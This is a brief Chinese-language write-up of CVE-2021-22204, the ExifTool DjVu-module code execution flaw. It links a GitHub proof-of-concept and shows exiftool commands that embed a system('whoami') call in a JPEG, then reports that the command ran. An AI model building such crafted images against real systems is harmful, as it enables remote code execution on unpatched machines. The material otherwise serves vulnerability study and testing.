CVE-2021-22204：ExifTool任意代码执行

CVE-2021-22204 ExifTool任意代码执行

github poc下载

https://github.com/OneSecCyber/JPEG_RCE

ExifTool 7.44至12.23在DjVu模块中存在一个错误，该错误允许在解析恶意图像时执行任意代码

meta-data为MIME Type : image/jpeg"即jpg图片可以达成RCE

exiftool -config eval.config mojave.jpg -eval='system("whoami")'

exiftool mojave.jpg

可以看到成功执行了命令